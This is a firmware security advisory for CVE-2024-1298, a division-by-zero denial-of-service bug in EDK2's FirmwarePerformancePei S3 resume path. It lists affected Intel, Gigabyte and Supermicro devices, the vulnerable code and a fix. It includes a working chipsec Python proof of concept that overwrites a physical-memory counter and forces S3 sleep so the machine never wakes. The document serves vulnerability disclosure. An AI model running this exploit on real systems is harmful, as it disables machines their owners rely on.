Skip to content

Latest commit

 

History

History
116 lines (87 loc) · 6.1 KB

BRLY-2023-021.md

File metadata and controls

116 lines (87 loc) · 6.1 KB

[BRLY-2023-021]

The Denial Of Service (DoS) vulnerability during PEI phase in EDK2 codebase.

Summary

The BINARLY efiXplorer team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-021
  • Tianocore assigned CVE identifier: CVE-2024-1298
  • CVSS v3.1: 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Affected firmware with confirmed impact by BINARLY team

Device Name Firmware version CPU vendor Module name Module SHA256 Module GUID
Intel NUC M15 0082 (Latest) Intel FirmwarePerformancePei e4a15c3b9337132b9c4a33a1a26e1f1b5b7ff493c927a2a5c5235ea0cabf331f adf01bf6-47d6-495d-b95b-687777807214
Gigabyte GB-BER5H-5600 MRZC5MB (Latest) AMD FirmwarePerformancePei 6d3c1e76f6edb851093837e2c08bc0caf4ab3f0f326c01db2fa51518778b8429 adf01bf6-47d6-495d-b95b-687777807214
Supermicro MBD-R12SPD-A 1.1b (Latest) Ampere FirmwarePerformancePei 67819dca8cca3a49997c19878a60f8c3cf94fb093e521831c8920804e70d828f adf01bf6-47d6-495d-b95b-687777807214

Potential impact

By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.

Vulnerability description

The vulnerability is located on lines 114, 115 in the FpdtStatusCodeListenerPei function.

AcpiS3ResumeRecord->ResumeCount++;
AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);

An attacker with the ability to modify physical memory can control the value of AcpiS3ResumeRecord->ResumeCount. If the attacker sets the value of ResumeCount to 0xFFFFFFFF, and ResumeCount is subsequently incremented, its new value will be 0 (due to UINT32 overflow). Since there is no check for overflow, when ResumeCount is 0 and passed as the second argument to DivU64x32(), it will trigger a division by 0, and cause a system crash, leading to a DoS.

In order to fix this vulnerability, it is necessary to verify that the ResumeCount value != 0 after increment or != MAX_UINT32 before increment.

PoC

A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (FirmwarePerformancePei module) is shown below:

VarSize = 8;
RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize);
AcpiS3PerformanceTable = S3PerformanceTablePointer;
if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' )
  return EFI_ABORTED;
ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount;
LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume;
AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume);
LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4;
HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5;
HIDWORD(AverageResume) = AverageResume_high;
S3ResumeTotal = AverageResume * ResumeCount;
// possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32)
ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount;
FullResume = AcpiS3PerformanceTable->S3Resume.FullResume;
S3ResumeTotal_1 = S3ResumeTotal;
Sum = S3ResumeTotal + FullResume;
LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume);
LODWORD(AverageResume) = Sum;
HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32;
// possible division by 0
HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount;
LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum)
                                                        / ResumeCount;
HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);

The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:

import os

import chipsec
import chipsec.chipset
import hexdump

cs = chipsec.chipset.cs()
cs.init(None, True, True)

# FPDT @ 0x0000000000000000
#     0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00  FPDTD.....INTEL.
#     0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20  NUCxi7A5G...AMI
#     0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55  .............@<U
#     0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54  ...............T
#     0040: 00 00 00 00

AcpiS3ResumeRecord = 0x54FA0000  # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
    AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff"
)
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))

os.system("echo deep > /sys/power/mem_sleep")
os.system(
    "rtcwake -m mem -s 3"
)  # the system will never wake up due to a division by 0 at the PEI stage

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date
Intel PSIRT is notified 2022-07-26
BINARLY public disclosure date 2023-08-01
Tianocore provide patch release 2024-05-24

Acknowledgements

BINARLY efiXplorer team